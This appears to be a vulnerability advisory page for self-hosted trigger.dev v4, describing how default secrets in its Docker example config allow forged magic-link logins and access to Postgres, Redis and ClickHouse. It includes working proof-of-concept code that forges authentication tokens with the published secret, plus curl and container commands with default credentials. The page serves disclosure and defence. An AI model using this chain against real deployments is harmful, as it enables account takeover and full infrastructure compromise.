PT-2026-111199

Publicado

2026-10-02

·

Atualizado

2026-10-02

Descrição por

CVSS 4.0
8.1
Alta
MétricasAV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Summary

Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from hosting/docker/.env.example are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise.

Vulnerability Details

The hosting/docker/.env.example file contains hardcoded cryptographic secrets:
SESSION SECRET=2818143646516f6fffd707b36f334bbb
MAGIC LINK SECRET=44da78b7bbb0dfe709cf38931d25dcdd
ENCRYPTION KEY=f686147ab967943ebbe9ed3b496e465a
MANAGED WORKER SECRET=447c29678f9eaf289e9c4b70d3dd8a7f
The MAGIC LINK SECRET is used by remix-auth-email-link@2.0.2 to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The validateSessionMagicLink option defaults to false in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when WHITELISTED EMAILS is not set (the default for self-hosted).

Steps to Reproduce

Setup

bash
cd hosting/docker && cp .env.example .env
cd webapp && docker compose up -d
cd ../worker && docker compose up -d

Step 1: Forge magic link token

javascript
const CryptoJS = require('crypto-js');
const secret = '44da78b7bbb0dfe709cf38931d25dcdd';
const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()});
const token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString());
console.log('https://target:8030/magic?token=' + token);

Step 2: Authenticate via forged magic link

bash
curl -v "http://localhost:8030/magic?token="
# Returns: HTTP 302, set-cookie:  session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=...
# User auto-created, session cookie set, redirects to /orgs/new

Step 3: Verify database access from runner network

bash
docker run --rm --network webapp postgres:14 psql "postgresql://postgres:unsafe-postgres-pw@postgres:5432/main" -c "SELECT id, email FROM "User";"
# Returns: cmph790qf0004tn55ec7lyq7a | attacker@evil.com

Step 4: Verify Redis access (no auth)

bash
docker run --rm --network webapp redis:7 redis-cli -h redis PING
# Returns: PONG

Step 5: Verify ClickHouse access

bash
docker run --rm --network webapp curlimages/curl curl -s "http://default:password@clickhouse:8123/?query=SELECT%20version()"
# Returns: 25.5.2.47

Root Cause

  1. Hardcoded secrets in hosting/docker/.env.example (lines 9-12)
  2. Runner containers placed on infrastructure networks: DOCKER RUNNER NETWORKS: webapp,supervisor in hosting/docker/worker/docker-compose.yml:42
  3. Default credentials on all infrastructure services
  4. No Redis authentication
  5. SESSION SECRET reused for JWT signing (apps/webapp/app/services/apiAuth.server.ts:616) and impersonation tokens

Impact

Complete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.
Explorabilidade
Correção
Fornecedores
Produtos afetados
Enumeração de fraquezas
CWE-653: Improper Isolation or Compartmentalization
CWE-1393: Use of Default Password
Identificadores relacionados
GHSA-PQXW-G93W-HJ9X
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